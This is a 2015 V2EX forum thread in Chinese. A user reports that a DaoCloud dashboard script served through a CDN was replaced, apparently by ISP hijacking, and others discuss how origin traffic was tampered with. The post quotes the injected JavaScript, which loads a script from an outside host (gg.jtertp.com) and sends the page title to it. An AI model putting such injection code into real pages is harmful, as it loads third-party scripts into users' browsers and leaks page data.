wzxjohn
V2EX  ›  问与答

今天居然遇到了 DaoCloud 被 HTTPS 劫持?

  •  
  •   wzxjohn · Nov 4, 2015 · 2114 views
    This topic created in 3853 days ago, the information mentioned may be changed or developed.
    今天访问 DaoCloud 的时候突然控制面板卡吃豆人了,仔细一看发现居然是因为加载了 HTTP 的资源被 Chrome 拦住了,打开控制台发现是这个 JS :
    https://dn-daodashboard-prod.qbox.me/app/958e675a.app.js
    正常情况应该是一大串,但是我得到的是:

    document.write("<script language='javascript' src='http://dn-daodashboard-prod.qbox.me/app/958e675a.app.js?_vv=20080808'></script>");if(top.location==self.location){document.write("<script language='javascript' src='http://gg.jtertp.com:7777/rs/rs.php?src=p0005&t="+encodeURIComponent(document.title)+"&ci=140380449942919'></script>");}

    搜了一下发现 gg.jtertp.com 似乎是电信的劫持?感觉真是好奇怪!电信居然已经可以进行 HTTPS 劫持了?!
    求各路大神分析原因。。。
    PS :证书应该没有问题,是 GeoTrust 的。
    PSS :科学上网出国之后无此现象,不挂科学上网同网络环境下 3 台机器不同浏览器均出现这个现象
    12 replies    2016-11-05 12:26:52 +08:00
    Laforet
        1
    Laforet  
       Nov 4, 2015
    把证书保存出来对比一下。

    不过看你的描述应该是那个域名上所有的请求都被劫持到了 http 上才会出现混合内容
    hgc81538
        2
    hgc81538  
       Nov 4, 2015
    應該是源被劫持了
    https://www.v2ex.com/t/212885
    lhbc
        3
    lhbc  
       Nov 4, 2015 via Android
    某 CDN 回源被劫持
    运营商真变态啊, IDC 之间的网络也搞劫持
    运营商为推广全面 https 化真是费尽心机啊
    wzxjohn
        4
    wzxjohn  
    OP
       Nov 4, 2015
    @Laforet 这样的话证书就不可能对了,所以肯定不是全劫持到 HTTP
    @hgc81538
    @lhbc 我看了那篇文章,但是这个不能解释为啥连七牛返回的 Header 都被改掉了。。。
    hgc81538
        5
    hgc81538  
       Nov 4, 2015 via iPhone
    @wzxjohn 因為運營商劫持了源與 cdn 的流量,它想更改什麼都可以
    Laforet
        6
    Laforet  
       Nov 5, 2015
    @lhbc
    @wzxjohn
    @hgc81538

    长见识了,居然这样也可以
    wzxjohn
        7
    wzxjohn  
    OP
       Nov 5, 2015
    @hgc81538 劫持回源流量怎么可能 CDN 服务器返回的 Header 也被改了。。。
    hgc81538
        8
    hgc81538  
       Nov 5, 2015 via iPhone
    @wzxjohn 用戶請求文件, cdn 沒文件找源, cdn 向源請求文件,運營商劫持通訊, cdn 收到被竄改的內容,包括 header
    wzxjohn
        9
    wzxjohn  
    OP
       Nov 5, 2015
    @hgc81538 你还是没懂我的意思,本身七牛 CDN 服务器会返回一些固定的头,但是被劫持的文件却没有这些头。。。
    Senorsen
        10
    Senorsen  
       Nov 5, 2016
    可怕,我说怎么最近 daocloud 首页这么卡…

    CDN 回源时劫持,真是个厉害的新套路
    Senorsen
        11
    Senorsen  
       Nov 5, 2016
    呃… 居然是个老帖
    wzxjohn
        12
    wzxjohn  
    OP
       Nov 5, 2016
    @Senorsen 哈哈哈~很久之前啦~
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   2798 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 46ms · UTC 10:16 · PVG 18:16 · LAX 03:16 · JFK 06:16
    ♥ Do have faith in what you're doing.